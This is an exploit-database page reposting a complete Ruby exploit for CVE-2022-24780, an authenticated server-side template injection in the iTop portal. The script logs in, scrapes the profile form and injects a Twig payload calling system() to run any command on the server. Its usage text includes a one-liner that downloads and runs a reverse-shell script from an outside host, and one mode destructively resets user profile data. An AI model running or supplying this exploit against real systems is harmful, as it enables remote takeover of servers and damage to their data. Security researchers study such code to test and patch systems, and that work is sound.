Advertisement






iTop < 2.7.6 - (Authenticated) Remote command execution

CVE Category Price Severity
CVE-2022-24780 CWE-94 Not specified High
Author Risk Exploitation Type Date
Mohammed Alskaiti Critical Remote 2022-05-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050075

Below is a copy:

iTop < 2.7.6 - (Authenticated) Remote command execution
#!/usr/bin/env ruby

# Exploit
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780
## Date: 2022-05-20
## Vendor Homepage: https://www.combodo.com/itop
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)

# Vulnerability
## Discoverer: Markus KRELL
## Date: 2021-10-04
## Discoverer website: https://markus-krell.de/
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312
## Title: Server-Side Template Injection inside customer Portal
## CVE: CVE-2022-24780
## CWE: CWE-94, CWE-1336
## Patch:
##   - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
##   - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
##   - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
## References:
##   - https://nvd.nist.gov/vuln/detail/CVE-2022-24780
##   - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
##   - https://markus-krell.de/itop-template-injection-inside-customer-portal/

require 'httpx'
require 'docopt'
require 'nokogiri'

doc = <<~DOCOPT
  iTop < 2.7.6 - (Authenticated) Remote command execution

  Usage:
    #{__FILE__} full <url> <username> <password> <cmd> [--debug]
    #{__FILE__} light <url> <username> <password> <cmd> [--debug]
    #{__FILE__} -h | --help

    full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
    light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <username>  iTop portal username
    <password>  iTop portal user password
    <cmd>       Command to execute on the target
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
    #{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
DOCOPT


def login(root_url, user, pass, http)
  login_url = "#{root_url}/pages/UI.php"
  params = {
    'auth_user' => user,
    'auth_pwd' => pass,
    'login_mode' => 'form',
    'loginop' => 'login'
  }

  http.post(login_url, form: params).body.to_s
end

def login_watir(root_url, user, pass, browser)
  login_url = "#{root_url}/pages/UI.php"
  browser.goto login_url

  browser.text_field(id: 'user').set(user)
  browser.text_field(id: 'pwd').set(pass)

  browser.button(value: 'Enter iTop').click
end

def fetch_form(root_url, http)
  profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"

  # Fetch and parse HTML document
  doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)
  action = doc.css('form').first['action']
  transaction_id = doc.css('input[name="transaction_id"]').first['value']
  form_id = doc.css('form').first['id']
  # doesn't work because it's populated with javascript, we'll need watir for that
  #phone = doc.css('input[id^=field_phone]').first['value']
  #location = doc.css('select[id^=field_location_id] option[selected]').first['value']
  #function = doc.css('input[id^=field_function]').first['value']
  return {action: action, tid: transaction_id, fid: form_id}
end

def exploit(root_url, cmd, http, browser)
  form_data = fetch_form(root_url, http)
  vuln_url = "#{root_url}#{form_data[:action]}"
  user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)
  params = {
    'operation' => 'submit',
    'stimulus_code' => '',
    'transaction_id' => form_data[:tid],
    # source data already escapes backslashes and double quotes for JSON
    # so \ -> \\ and " -> \"
    # but we need to esacpe backslash once for Ruby too because we need an interpolated string
    # so \ -> \\ -> \\\\ and " -> \\"
    'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager',
    'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^,
    'current_values[phone]' => user_info[:phone],
    'current_values[location_id]' => user_info[:location],
    'current_values[function]' => user_info[:function]
  }

  http.post(vuln_url, form: params).body.to_s
end

def fetch_form_js(root_url, browser)
  # those values can't be fetched with nokogiri alone sicne they are populated using javascript
  profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"
  browser.goto profile_url
  phone = browser.text_field(name: 'phone').value
  location = browser.select(name: 'location_id').selected_options.first.value
  function = browser.text_field(name: 'function').value

  return {phone: phone, location: location, function: function}
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  http = HTTPX.plugin(:cookies)
  login(args['<url>'], args['<username>'], args['<password>'], http)

  if args['full']
    require 'watir'
    require 'webdrivers'

    b = Watir::Browser.new :firefox
    login_watir(args['<url>'], args['<username>'], args['<password>'], b)
  elsif args['light']
    b = nil
  end

  exploit(args['<url>'], args['<cmd>'], http, b)
rescue Docopt::Exit => e
  puts e.message
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum